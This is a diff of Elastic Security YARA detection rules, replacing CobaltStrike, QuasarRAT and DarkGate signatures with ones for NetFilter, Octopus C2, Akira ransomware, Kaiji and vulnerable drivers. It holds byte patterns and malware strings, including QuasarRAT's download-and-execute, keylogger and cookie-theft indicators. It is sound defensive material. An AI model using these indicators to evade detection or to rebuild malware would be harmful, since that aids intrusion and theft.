-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "36d32b1ed967f07a4bd19f5e671294d5359009c04835601f2cc40fb8b54f6a2a"
-		logic_hash = "d0cc321e15660311ae0b8e3261abe716a50a2455f82635c1b02d0a5444c8a89a"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Hacktool_NetFilter.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "760be95d4c04b10df89a78414facf91c0961020e80561eee6e2cb94b43b76510"
+		logic_hash = "c551bd87e73f980d8836b13449490de5e639d768b72d9006d90969f3140b28e2"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "7e7ed4f00d0914ce0b9f77b6362742a9c8b93a16a6b2a62b70f0f7e15ba3a72b"
-		threat_name = "Windows.Trojan.CobaltStrike"
-		severity = 100
+		tags = "FILE"
+		fingerprint = "1542c32471f5d3f20beeb60c696085548d675f5d1cab1a0ef85a7060b01f0349"
+		severity = 50
 		arch_context = "x86"
-		scan_context = "file, memory"
+		scan_context = "file"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = "Z:\\devcenter\\aggressor\\external\\pxlib\\bin\\wmiexec.x64.o" ascii fullword
-		$a2 = "z:\\devcenter\\aggressor\\external\\pxlib\\bin\\wmiexec.x86.o" ascii fullword
+		$str1 = "[NetFlt]:CTRL NDIS ModifyARP"
 
 	condition:
-		1 of ($a*)
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and $str1
 }
-rule ELASTIC_Windows_Trojan_Cobaltstrike_8D5963A2 : FILE MEMORY
+rule ELASTIC_Windows_Hacktool_Netfilter_Dd576D28 : FILE
 {
 	meta:
-		description = "Detects Windows Trojan Cobaltstrike (Windows.Trojan.CobaltStrike)"
+		description = "Detects Windows Hacktool Netfilter (Windows.Hacktool.NetFilter)"
 		author = "Elastic Security"
-		id = "8d5963a2-54a9-4705-9f34-0d5f8e6345a2"
-		date = "2022-08-10"
-		modified = "2022-09-29"
+		id = "dd576d28-b3e7-46b7-b19f-af37af434082"
+		date = "2022-04-04"
+		modified = "2023-06-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_CobaltStrike.yar#L971-L989"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "9fe43996a5c4e99aff6e2a1be743fedec35e96d1e6670579beb4f7e7ad591af9"
-		logic_hash = "f4f8fba807256bd885ccf4946eec8c2fb76eb04f86ed76d015178fe512a3c091"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Hacktool_NetFilter.yar#L21-L39"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "88cfe6d7c81d0064045c4198d6ec7d3c50dc3ec8e36e053456ed1b50fc8c23bf"
+		logic_hash = "7635ed94ca77c7705df4d2a9c5546ece86bf831b5bf5355943419174e0387b86"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "228cd65380cf4b04f9fd78e8c30c3352f649ce726202e2dac9f1a96211925e1c"
-		severity = 100
+		tags = "FILE"
+		fingerprint = "b47477c371819a456ab24e158d6649e89b4d1756dc6da0b783b351d40b034fac"
+		severity = 50
 		arch_context = "x86"
-		scan_context = "file, memory"
+		scan_context = "file"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a = { 40 55 53 56 57 41 54 41 55 41 56 41 57 48 8D 6C 24 D8 48 81 EC 28 01 00 00 45 33 F6 48 8B D9 48 }
+		$str1 = "\\NetProxyDriver.pdb"
 
 	condition:
-		all of them
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and $str1
 }
-rule ELASTIC_Windows_Trojan_Cobaltstrike_1787Eef5 : FILE MEMORY
+rule ELASTIC_Windows_Hacktool_Netfilter_B4F2A520 : FILE
 {
 	meta:
-		description = "CS shellcode variants"
+		description = "Detects Windows Hacktool Netfilter (Windows.Hacktool.NetFilter)"
 		author = "Elastic Security"
-		id = "1787eef5-ff00-4e19-bd22-c5dfc9488c7b"
-		date = "2022-08-29"
-		modified = "2022-09-29"
+		id = "b4f2a520-88bf-447e-bbc4-5d8bfd2c9753"
+		date = "2022-04-04"
+		modified = "2023-06-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_CobaltStrike.yar#L991-L1014"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "36d32b1ed967f07a4bd19f5e671294d5359009c04835601f2cc40fb8b54f6a2a"
-		logic_hash = "0b70c61e986dee3126fec6eea127e01fce4b647aff8e2d2d5072eb8328549225"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Hacktool_NetFilter.yar#L41-L59"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "5d0d5373c5e52c4405f4bd963413e6ef3490b7c4c919ec2d4e3fb92e91f397a0"
+		logic_hash = "520d2194593f1622a3b905fe182a0773447a4eee3472e7701cce977f5bf4fbae"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "292f15bdc978fc29670126f1bdc72ade1e7faaf1948653f70b6789a82dbee67f"
-		threat_name = "Windows.Trojan.CobaltStrike"
-		severity = 100
+		tags = "FILE"
+		fingerprint = "1d8da6f78149e2db6b54faa381ce8eb285930226a5b4474e04937893c831809f"
+		severity = 50
 		arch_context = "x86"
-		scan_context = "file, memory"
+		scan_context = "file"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 55 89 E5 83 EC ?? A1 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? 89 44 24 ?? E8 ?? ?? ?? ?? 31 C0 C9 C3 55 }
-		$a2 = { 55 89 E5 83 EC ?? A1 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 31 C0 C9 C3 55 89 E5 83 EC ?? 83 7D ?? ?? }
-		$a3 = { 55 89 E5 8B 45 ?? 5D FF E0 55 8B 15 ?? ?? ?? ?? 89 E5 8B 45 ?? 85 D2 7E ?? 83 3D ?? ?? ?? ?? ?? }
-		$a4 = { 55 89 E5 8B 45 ?? 5D FF E0 55 89 E5 83 EC ?? 8B 15 ?? ?? ?? ?? 8B 45 ?? 85 D2 7E ?? 83 3D ?? ?? ?? ?? ?? }
-		$a5 = { 4D 5A 41 52 55 48 89 E5 48 81 EC ?? ?? ?? ?? 48 8D 1D ?? ?? ?? ?? 48 89 DF 48 81 C3 ?? ?? ?? ?? }
+		$str1 = "\\netfilterdrv.pdb"
 
 	condition:
-		1 of ($a*)
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and $str1
 }
-rule ELASTIC_Windows_Trojan_Cobaltstrike_4106070A : FILE MEMORY
+rule ELASTIC_Windows_Hacktool_Netfilter_1Cae6E26 : FILE
 {
 	meta:
-		description = "Detects Windows Trojan Cobaltstrike (Windows.Trojan.CobaltStrike)"
+		description = "Detects Windows Hacktool Netfilter (Windows.Hacktool.NetFilter)"
 		author = "Elastic Security"
-		id = "4106070a-24e2-421b-ab83-67b817a9f019"
-		date = "2023-05-09"
+		id = "1cae6e26-b0ce-4f53-b88d-975b52ebcca7"
+		date = "2022-04-04"
 		modified = "2023-06-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_CobaltStrike.yar#L1016-L1035"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "98789a11c06c1dfff7e02f66146afca597233c17e0d4900d6a683a150f16b3a4"
-		logic_hash = "90f0209a55ca381ca58264664e04c007c799cf558f143d0c02983d4caf47bfb8"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Hacktool_NetFilter.yar#L61-L79"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "e2ec3b2a93c473d88bfdf2deb1969d15ab61737acc1ee8e08234bc5513ee87ea"
+		logic_hash = "29c0edc03934e6e7275c3870a8808e03ec85dacb1f54e10efca3123d2257db98"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "c12b919064a9cd2a603c134c5f73f6d05ffbf4cbed1e5b5246687378102e4338"
-		severity = 100
+		tags = "FILE"
+		fingerprint = "27003a6c9ad814e1ab2e7e284acfebdd18c9dd2af66eb9f44e5a9d59445fa086"
+		severity = 50
 		arch_context = "x86"
-		scan_context = "file, memory"
+		scan_context = "file"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 48 8B 44 24 48 0F B7 00 66 C1 E8 0C 66 83 E0 0F 0F B7 C0 83 }
-		$a2 = { 44 24 48 0F B7 00 66 C1 E8 0C 66 83 E0 0F 0F B7 C0 83 F8 0A }
+		$str1 = "\\Driver_Map.pdb"
 
 	condition:
-		all of them
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and $str1
 }
-rule ELASTIC_Windows_Trojan_Cobaltstrike_3Dc22D14 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Octopus_15813E26 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Cobaltstrike (Windows.Trojan.CobaltStrike)"
+		description = "Identifies Octopus, an Open source pre-operation C2 server based on Python and PowerShell"
 		author = "Elastic Security"
-		id = "3dc22d14-a2f4-49cd-a3a8-3f071eddf028"
-		date = "2023-05-09"
-		modified = "2023-06-13"
+		id = "15813e26-77f8-46cf-a6a3-ae081925b85a"
+		date = "2021-11-10"
+		modified = "2022-01-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_CobaltStrike.yar#L1037-L1056"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "7898194ae0244611117ec948eb0b0a5acbc15cd1419b1ecc553404e63bc519f9"
-		logic_hash = "2f52cd5f3b782c28e372c3daa9b7ddc4d2b9f68832f5250983412c2e7a755e73"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Octopus.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "0d30b96ead4ccba75e08f6ba1db73cee61a29b5b0c7ee0fb523cbcd61dce9d87"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "0e029fac50ffe8ea3fc5bc22290af69e672895eaa8a1b9f3e9953094c133392c"
+		fingerprint = "a3294547f7e3cead0cd64eb3d2e7dbd8ccfc4d9eedede240a643c8cd114cbcce"
+		threat_name = "Windows.Trojan.Octopus"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -65852,152 +69720,147 @@ rule ELASTIC_Windows_Trojan_Cobaltstrike_3Dc22D14 : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a1 = "%02d/%02d/%02d %02d:%02d:%02d" fullword
-		$a2 = "%s as %s\\%s: %d" fullword
+		$a = "C:\\Users\\UNKNOWN\\source\\repos\\OctopusUnmanagedExe\\OctopusUnmanagedExe\\obj\\x64\\Release\\SystemConfiguration.pdb" ascii fullword
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Cobaltstrike_7F8Da98A : FILE MEMORY
+rule ELASTIC_Linux_Ransomware_Akira_02237952 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Cobaltstrike (Windows.Trojan.CobaltStrike)"
+		description = "Detects Linux Ransomware Akira (Linux.Ransomware.Akira)"
 		author = "Elastic Security"
-		id = "7f8da98a-3336-482b-91da-82c7cef34c62"
-		date = "2023-05-09"
-		modified = "2023-06-13"
+		id = "02237952-b9ac-44e5-a32f-f3cc8f28a89b"
+		date = "2023-07-28"
+		modified = "2024-02-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_CobaltStrike.yar#L1058-L1076"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "e3bc2bec4a55ad6cfdf49e5dbd4657fc704af1758ca1d6e31b83dcfb8bf0f89d"
-		logic_hash = "6c8698d65cbbf893f79ca1de5273535891418c87c234a2542f5f8079e56d9507"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Ransomware_Akira.yar#L1-L22"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "1d3b5c650533d13c81e325972a912e3ff8776e36e18bca966dae50735f8ab296"
+		logic_hash = "a9b3cdddb3387251d7da90f32b08b9c1eedcdff1fe90d51f4732183666a6d467"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "c375492960a6277bf665bea86302cec774c0d79506e5cb2e456ce59f5e68aa2e"
+		fingerprint = "7fcfac47be082441f6df149d0615a9d2020ac1e9023eabfcf10db4fe400cd474"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { 25 63 25 63 25 63 25 63 25 63 25 63 25 63 25 63 25 63 4D 53 53 45 2D 25 64 2D 73 65 72 76 65 72 }
+		$a1 = "No path to encrypt" fullword
+		$a2 = "--encryption_percent" fullword
+		$a3 = "Failed to import public key" fullword
+		$a4 = "akira_readme.txt" fullword
 
 	condition:
-		all of them
+		3 of them
 }
-rule ELASTIC_Windows_Trojan_Quasarrat_E52Df647 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Kaiji_253C44De : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Quasarrat (Windows.Trojan.Quasarrat)"
+		description = "Detects Linux Trojan Kaiji (Linux.Trojan.Kaiji)"
 		author = "Elastic Security"
-		id = "e52df647-c197-4790-b051-8951fba80c3b"
-		date = "2021-06-27"
-		modified = "2021-08-23"
+		id = "253c44de-3f48-49f9-998d-1dec2981108c"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Quasarrat.yar#L1-L23"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "a58efd253a25cc764d63476931da2ddb305a0328253a810515f6735a6690de1d"
-		logic_hash = "41f32e0c9b3b43d10baef10060e064ad860558bcdeb4281a30d30c16615ed21d"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Kaiji.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "e31eb8880bb084b4c642eba127e64ce99435ea8299a98c183a63a2e6a139d926"
+		logic_hash = "81a07f60765f50c58b2c0f0153367ee570f36c579e9f88fb2f0e49ae5c08773f"
 		score = 75
-		quality = 50
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "c888f0856c6568b83ab60193f8144a61e758e6ff53f6ead8565282ae8b3a9815"
+		fingerprint = "f390a16ca4270dc38ce1a52bbdc1ac57155f369a74005ff2a4e46c6d043b869e"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = "GetKeyloggerLogsResponse" ascii fullword
-		$a2 = "DoDownloadAndExecute" ascii fullword
-		$a3 = "http://api.ipify.org/" wide fullword
-		$a4 = "Domain: {1}{0}Cookie Name: {2}{0}Value: {3}{0}Path: {4}{0}Expired: {5}{0}HttpOnly: {6}{0}Secure: {7}" wide fullword
-		$a5 = "\" /sc ONLOGON /tr \"" wide fullword
+		$a = { EB 27 0F B6 1C 10 48 8B 74 24 40 48 8B BC 24 90 00 00 00 88 }
 
 	condition:
-		4 of them
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Darkgate_Fa1F1338 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Kaiji_535F07Ac : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Darkgate (Windows.Trojan.DarkGate)"
+		description = "Detects Linux Trojan Kaiji (Linux.Trojan.Kaiji)"
 		author = "Elastic Security"
-		id = "fa1f1338-c920-4db9-a7ec-cd11d7e1558b"
-		date = "2023-12-14"
-		modified = "2024-01-12"
+		id = "535f07ac-d727-4866-aaed-74d297a1092c"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_DarkGate.yar#L1-L21"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "1fce9ee9254dd0641387cc3b6ea5f6a60f4753132c20ca03ce4eed2aa1042876"
-		logic_hash = "d5447a57fc57af52c263b84522346a3e94a464a698de8be77eab3b56156164f2"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Kaiji.yar#L21-L39"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "28b2993d7c8c1d8dfce9cd2206b4a3971d0705fd797b9fde05211686297f6bb0"
+		logic_hash = "539977c1076b71873135cfe02153da87c0e9ac17122f04570977a22c92d2694f"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "182481e23eb10f0a8b7d0d536e2d8d36ab5e51fd798caebff4d38d55b5549244"
+		fingerprint = "8853b2a1d5852e436cab2e3402a5ca13839b3cae6fbb56a74b047234b8c1233b"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$str0 = "DarkGate has recovered from a Critical error"
-		$str1 = "Executing DarkGate inside the new desktop..."
-		$str2 = "Restart Darkgate "
+		$a = { 44 24 10 48 8B 4C 24 08 48 83 7C 24 18 00 74 26 C6 44 24 57 00 48 8B 84 24 98 00 }
 
 	condition:
-		2 of them
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Darkgate_07Ef6F14 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Kaiji_Dcf6565E : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Darkgate (Windows.Trojan.DarkGate)"
+		description = "Detects Linux Trojan Kaiji (Linux.Trojan.Kaiji)"
 		author = "Elastic Security"
-		id = "07ef6f14-4eb5-4c15-94af-117c68106104"
-		date = "2023-12-14"
-		modified = "2024-02-08"
+		id = "dcf6565e-8287-4d78-b103-53cfab192025"
+		date = "2022-09-12"
+		modified = "2022-10-18"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_DarkGate.yar#L23-L42"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "1fce9ee9254dd0641387cc3b6ea5f6a60f4753132c20ca03ce4eed2aa1042876"
-		logic_hash = "2820286b362b107fc7fc3ec8f1a004a7d7926a84318f2943f58239f1f7e8f1f0"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Kaiji.yar#L41-L59"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "49f3086105bdc160248e66334db00ce37cdc9167a98faac98800b2c97515b6e7"
+		logic_hash = "2bc943e100548e9aacd97930b3230353be760c8a292dbbbd1d0b5646f647c4fe"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "fd0aab53bddd3872147aa064a571d118cc00a6643d72c017fe26f6e0d19288e1"
+		fingerprint = "381d6b8f6a95800fe0d20039f991ce82317f60aef100487f3786e6c1e63376e1"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$binary0 = { 8B 04 24 0F B6 44 18 FF 33 F8 43 4E }
-		$binary1 = { 8B D7 32 54 1D FF F6 D2 88 54 18 FF 43 4E }
+		$a = { 48 69 D2 9B 00 00 00 48 C1 EA 20 83 C2 64 48 8B 9C 24 B8 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Cerbu_69D5657E : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Kaiji_91091Be3 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Cerbu (Linux.Trojan.Cerbu)"
+		description = "Detects Linux Trojan Kaiji (Linux.Trojan.Kaiji)"
 		author = "Elastic Security"
-		id = "69d5657e-1fe9-4367-b478-218c278c7fbc"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "91091be3-8c9e-4d7a-8ca6-cd422afe0aa5"
+		date = "2022-09-12"
+		modified = "2022-10-18"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Cerbu.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "f10bf3cf2fdfbd365d3c2d8dedb2d01b85236eaa97d15370dbcb5166149d70e9"
-		logic_hash = "644e8d5a1b5c8618e71497f21b0244215924e293e274b9164692dd927cd74ba8"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Kaiji.yar#L61-L79"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "dca574d13fcbd7d244d434fcbca68136e0097fefc5f131bec36e329448f9a202"
+		logic_hash = "3b55cb3be5775311af4dc90f9624448d30cc58ef1a42729f6ca4eb3b36ad8b06"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "7dfaebc6934c8fa97509831e0011f2befd0dbc24a68e4a07bc1ee0decae45a42"
+		fingerprint = "f583bbef07f41e74ba9646a3e97ef114eb34b1ae820ed499dffaad90db227ca6"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -66005,55 +69868,116 @@ rule ELASTIC_Linux_Trojan_Cerbu_69D5657E : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { E8 5B 5E C9 C3 55 89 E5 83 EC 08 83 C4 FC FF 75 0C 6A 05 FF }
+		$a = { 24 18 83 7C 24 1C 02 75 9E 8B 4C 24 64 8B 51 1C 89 54 24 5C }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Bulz_2Aa8Fbb5 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Rotajakiro_Fb24F399 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Bulz (Linux.Cryptominer.Bulz)"
+		description = "Detects Linux Trojan Rotajakiro (Linux.Trojan.Rotajakiro)"
 		author = "Elastic Security"
-		id = "2aa8fbb5-b392-49fc-8f0f-12cd06d534e2"
-		date = "2021-01-12"
+		id = "fb24f399-d2bc-4cca-a3b8-4d924f11c83e"
+		date = "2021-06-28"
 		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Bulz.yar#L1-L18"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "21d8bec73476783e01d2a51a99233f186d7c72b49c9292c42e19e1aa6397d415"
+		reference = "023a7f9ed082d9dd7be6eba5942bfa77f8e618c2d15a8bc384d85223c5b91a0c"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Rotajakiro.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "be33fdda50ef0ea1a0cf45835cc2b7a805cecb3fff371ed6d93e01c2d477d867"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "c8fbeae6cf935fe629c37abc4fdcda2c80c1b19fc8b6185a58decead781e1321"
-		severity = 100
+		fingerprint = "6b19a49c93a0d3eb380c78ca21ce4f4d2991c35e68d2b75e173dc25118ba2c20"
+		severity = "100"
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a = { FE D7 C5 D9 72 F2 09 C5 E9 72 D2 17 C5 E9 EF D4 C5 E9 EF D6 C5 C1 }
+		$a = { 41 56 41 55 41 54 49 89 FD 55 53 48 63 DE 48 83 EC 08 0F B6 17 80 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Bulz_0998F811 : FILE MEMORY
+rule ELASTIC_Windows_Vulndriver_Winflash_881758Da : FILE
 {
 	meta:
-		description = "Detects Linux Cryptominer Bulz (Linux.Cryptominer.Bulz)"
+		description = "Detects Windows Vulndriver Winflash (Windows.VulnDriver.WinFlash)"
 		author = "Elastic Security"
-		id = "0998f811-7be3-4d46-9dcb-1e8a0f19bab5"
-		date = "2021-01-12"
+		id = "881758da-760c-4c50-81f2-8bd698972ba2"
+		date = "2022-04-04"
+		modified = "2022-04-04"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_VulnDriver_WinFlash.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "8596ea3952d84eeef8f5dc5b0b83014feb101ec295b2d80910f21508a95aa026"
+		logic_hash = "a46ac1f19ba5d9543c88434575870b61fbb935cd4c4e28cb80a077502af7d2db"
+		score = 75
+		quality = 75
+		tags = "FILE"
+		fingerprint = "1c64ee1c3fc6bf93e207810a473367c404c824d0eaba15910b00016e23d53637"
+		severity = 50
+		arch_context = "x86"
+		scan_context = "file"
+		license = "Elastic License v2"
+		os = "windows"
+
+	strings:
+		$str1 = "\\WinFlash64.pdb"
+
+	condition:
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and $str1
+}
+rule ELASTIC_Windows_Vulndriver_Microstar_D72B85B2 : FILE
+{
+	meta:
+		description = "Name: NTIOLib.sys, Version: 1.0.0.0"
+		author = "Elastic Security"
+		id = "d72b85b2-b51e-4061-909c-cce531513367"
+		date = "2022-04-07"
+		modified = "2022-04-07"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_VulnDriver_MicroStar.yar#L1-L21"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "3ed15a390d8dfbd8a8fb99e8367e19bfd1cced0e629dfe43ccdb46c863394b59"
+		logic_hash = "04e9c1f318acae5544cdc826938383bf8f6c6b838cb5828a7097383ac564f404"
+		score = 75
+		quality = 75
+		tags = "FILE"
+		fingerprint = "a531bc0b1a94b532694c9ae421db258007d835e03cf2580a1b5a10e5686063e5"
+		threat_name = "Windows.VulnDriver.MicroStar"
